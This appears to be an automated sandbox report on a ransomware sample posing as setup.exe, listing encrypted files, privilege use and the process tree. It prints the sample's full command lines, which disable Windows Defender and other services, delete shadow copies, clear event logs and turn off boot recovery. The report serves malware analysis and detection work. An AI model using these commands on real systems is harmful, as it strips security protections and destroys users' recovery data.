File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile_equalizer.html.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AlarmsSmallTile.contrast-black_scale-125.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\Stationery\Bears.htm C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019XC2RVL_MAKC2R-ul-phn.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_GAAAABgAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-80.png.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\GamePlayAssets\Localization\localized_EN-US.respack C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\sl_16x11.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-36_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\Snooze.scale-80.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteNotebookWideTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-72.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\6478_32x32x32.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Microsoft.People.Controls.winmd C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\mf_16x11.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-32.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\ui-strings.js.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\en-il\ui-strings.js.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_NAAAADQAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\Stationery\Bears.jpg C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_zh_CN.jar.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_FAAAABQAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4016 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 4016 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 1200 wrote to memory of 2136 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1200 wrote to memory of 2136 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4016 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 4016 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 1984 wrote to memory of 3596 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1984 wrote to memory of 3596 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4016 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 4016 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 8 wrote to memory of 3560 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 8 wrote to memory of 3560 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4016 wrote to memory of 2672 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 4016 wrote to memory of 2672 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 2576 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 2576 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4016 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 4016 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 1256 wrote to memory of 3960 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1256 wrote to memory of 3960 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4016 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 4016 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 2112 wrote to memory of 3996 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2112 wrote to memory of 3996 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4016 wrote to memory of 1652 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 4016 wrote to memory of 1652 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 1652 wrote to memory of 1136 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1652 wrote to memory of 1136 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4016 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 4016 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 2748 wrote to memory of 3592 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2748 wrote to memory of 3592 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4016 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 4016 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\net.exe
PID 1016 wrote to memory of 388 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1016 wrote to memory of 388 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4016 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 1064 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 1064 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 1444 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 1444 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 1392 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 1392 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 3036 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 3036 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\sc.exe
PID 4016 wrote to memory of 832 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe
PID 4016 wrote to memory of 832 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe
PID 4016 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe
PID 4016 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe
PID 4016 wrote to memory of 1056 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe
PID 4016 wrote to memory of 1056 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe
PID 4016 wrote to memory of 3204 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe
PID 4016 wrote to memory of 3204 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe
PID 4016 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe
PID 4016 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\setup.exe

"C:\Users\Admin\AppData\Local\Temp\setup.exe"

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_12cdb" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_12cdb" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_12cdb" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 8.8.8.8:53 time.windows.com udp
NL 20.101.57.9:123 time.windows.com udp

Files

memory/1200-115-0x0000000000000000-mapping.dmp

memory/2136-116-0x0000000000000000-mapping.dmp

memory/1984-117-0x0000000000000000-mapping.dmp

memory/3596-118-0x0000000000000000-mapping.dmp

memory/8-119-0x0000000000000000-mapping.dmp

memory/3560-120-0x0000000000000000-mapping.dmp

memory/2672-121-0x0000000000000000-mapping.dmp

memory/2576-122-0x0000000000000000-mapping.dmp

memory/1256-123-0x0000000000000000-mapping.dmp

memory/3960-124-0x0000000000000000-mapping.dmp

memory/2112-125-0x0000000000000000-mapping.dmp

memory/3996-126-0x0000000000000000-mapping.dmp

memory/1652-127-0x0000000000000000-mapping.dmp

memory/1136-128-0x0000000000000000-mapping.dmp

memory/2748-129-0x0000000000000000-mapping.dmp

memory/3592-130-0x0000000000000000-mapping.dmp

memory/1016-131-0x0000000000000000-mapping.dmp

memory/388-132-0x0000000000000000-mapping.dmp

memory/1388-133-0x0000000000000000-mapping.dmp

memory/900-134-0x0000000000000000-mapping.dmp

memory/1064-135-0x0000000000000000-mapping.dmp

memory/2440-136-0x0000000000000000-mapping.dmp

memory/1444-137-0x0000000000000000-mapping.dmp

memory/1736-138-0x0000000000000000-mapping.dmp

memory/1392-139-0x0000000000000000-mapping.dmp

memory/2176-140-0x0000000000000000-mapping.dmp

memory/3036-141-0x0000000000000000-mapping.dmp

memory/832-142-0x0000000000000000-mapping.dmp

memory/3948-143-0x0000000000000000-mapping.dmp

memory/1056-144-0x0000000000000000-mapping.dmp

memory/3204-145-0x0000000000000000-mapping.dmp

memory/2956-146-0x0000000000000000-mapping.dmp

memory/308-147-0x0000000000000000-mapping.dmp

memory/3756-148-0x0000000000000000-mapping.dmp

memory/3092-149-0x0000000000000000-mapping.dmp

